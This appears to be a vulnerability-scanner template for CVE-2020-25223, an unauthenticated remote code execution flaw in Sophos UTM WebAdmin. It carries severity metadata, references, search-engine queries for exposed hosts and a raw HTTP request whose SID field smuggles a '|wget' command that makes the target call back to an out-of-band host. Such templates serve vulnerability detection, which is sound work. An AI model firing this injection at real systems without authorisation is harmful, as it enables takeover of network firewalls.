Sophos UTM Preauth - Remote Code Execution

id: CVE-2020-25223

info:
  name: Sophos UTM Preauth - Remote Code Execution
  author: gy741
  severity: critical
  description: Sophos SG UTMA WebAdmin is susceptible to a remote code execution vulnerability in versions before v9.705 MR5, v9.607 MR7, and v9.511 MR11.
  impact: |
    Successful exploitation of this vulnerability could lead to remote code execution, allowing attackers to take control of the affected system.
  remediation: |
    Apply the latest security patches provided by Sophos to mitigate the vulnerability.
  reference:
    - https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223
    - https://community.sophos.com/b/security-blog/posts/advisory-resolved-rce-in-sg-utm-webadmin-cve-2020-25223
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25223
    - https://community.sophos.com/b/security-blog
    - https://cwe.mitre.org/data/definitions/78.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-25223
    cwe-id: CWE-78
    epss-score: 0.96753
    epss-percentile: 0.99889
    cpe: cpe:2.3:a:sophos:unified_threat_management:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sophos
    product: unified_threat_management
    shodan-query: http.title:"securepoint utm"
    fofa-query: title="securepoint utm"
    google-query: intitle:"securepoint utm"
  tags: cve,cve2020,sophos,rce,oast,unauth,kev,vkev,vuln

http:
  - raw:
      - |
        POST /var HTTP/1.1
        Host: {{Hostname}}
        Accept: text/javascript, text/html, application/xml, text/xml, */*
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate
        X-Requested-With: XMLHttpRequest
        X-Prototype-Version: 1.5.1.1
        Content-Type: application/json; charset=UTF-8
        Origin: {{BaseURL}}
        Connection: close
        Referer: {{BaseURL}}
        Sec-Fetch-Dest: empty
        Sec-Fetch-Mode: cors
        Sec-Fetch-Site: same-origin

        {"objs": [{"FID": "init"}], "SID": "|wget http://{{interactsh-url}}|", "browser": "gecko_linux", "backend_version": -1, "loc": "", "_cookie": null, "wdebug": 0, "RID": "1629210675639_0.5000855117488202", "current_uuid": "", "ipv6": true}

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4a0a0047304502206cf5c58e1fc6bf8dba78d59263c6c60f3b2c88e471a905620159a208f671d1b6022100ae8d6c75e53889c52cdab6c4df4839d5fc430db41ce7245fc80aa803e1a056f0:922c64590222798bb761d5b6d8e72950